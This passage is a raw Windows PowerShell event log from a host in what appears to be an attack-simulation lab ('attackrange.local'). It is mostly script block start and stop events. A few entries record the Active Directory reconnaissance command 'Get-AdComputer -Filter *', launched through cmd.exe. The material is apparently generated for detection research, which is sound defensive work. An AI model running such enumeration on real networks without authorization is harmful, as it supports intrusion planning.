EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989245 Keywords=None Message=Completed invocation of ScriptBlock ID: 059e5c32-fa87-4d01-82cf-f5e71683a449 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989273 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989272 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989271 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989270 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989269 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989268 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989267 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989266 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989265 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989264 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989283 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989282 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989281 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989280 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989279 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989278 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989277 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989276 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989275 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989274 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989306 Keywords=None Message=Completed invocation of ScriptBlock ID: b6920c9e-585e-46de-ab1a-9ee26cf0be08 Runspace ID: f50cd1cc-6175-4752-80b3-81d227375e15 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989305 Keywords=None Message=Started invocation of ScriptBlock ID: b6920c9e-585e-46de-ab1a-9ee26cf0be08 Runspace ID: f50cd1cc-6175-4752-80b3-81d227375e15 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989304 Keywords=None Message=Started invocation of ScriptBlock ID: c284dec0-79cf-4eb8-90a6-d52a2904d3f5 Runspace ID: f50cd1cc-6175-4752-80b3-81d227375e15 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989303 Keywords=None Message=Creating Scriptblock text (1 of 1): Get-AdComputer -Filter * ScriptBlock ID: c284dec0-79cf-4eb8-90a6-d52a2904d3f5 Path: 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=40962 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Console Startup OpCode=Stop RecordNumber=1989302 Keywords=None Message=PowerShell console is ready for user input 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=53504 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Named Pipe IPC OpCode=Open (async) RecordNumber=1989301 Keywords=None Message=Windows PowerShell has started an IPC listening thread on process: 3876 in AppDomain: DefaultAppDomain. 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=40961 EventType=4 Type=Information ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=PowerShell Console Startup OpCode=Start RecordNumber=1989300 Keywords=None Message=PowerShell console is starting up 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989299 Keywords=None Message=Started invocation of ScriptBlock ID: e6bef1f9-7898-4f7e-832e-23da6b6567c4 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989298 Keywords=None Message=Creating Scriptblock text (1 of 1): cmd.exe /c powershell.exe Get-AdComputer -Filter * ScriptBlock ID: e6bef1f9-7898-4f7e-832e-23da6b6567c4 Path: 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989297 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989296 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989295 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989294 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989293 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989292 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989291 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989290 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989289 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989288 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989287 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989286 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989285 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989284 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989329 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989328 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989327 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989326 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989325 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989324 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989323 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989322 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989321 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989320 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989319 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989318 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:17:00 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989317 Keywords=None 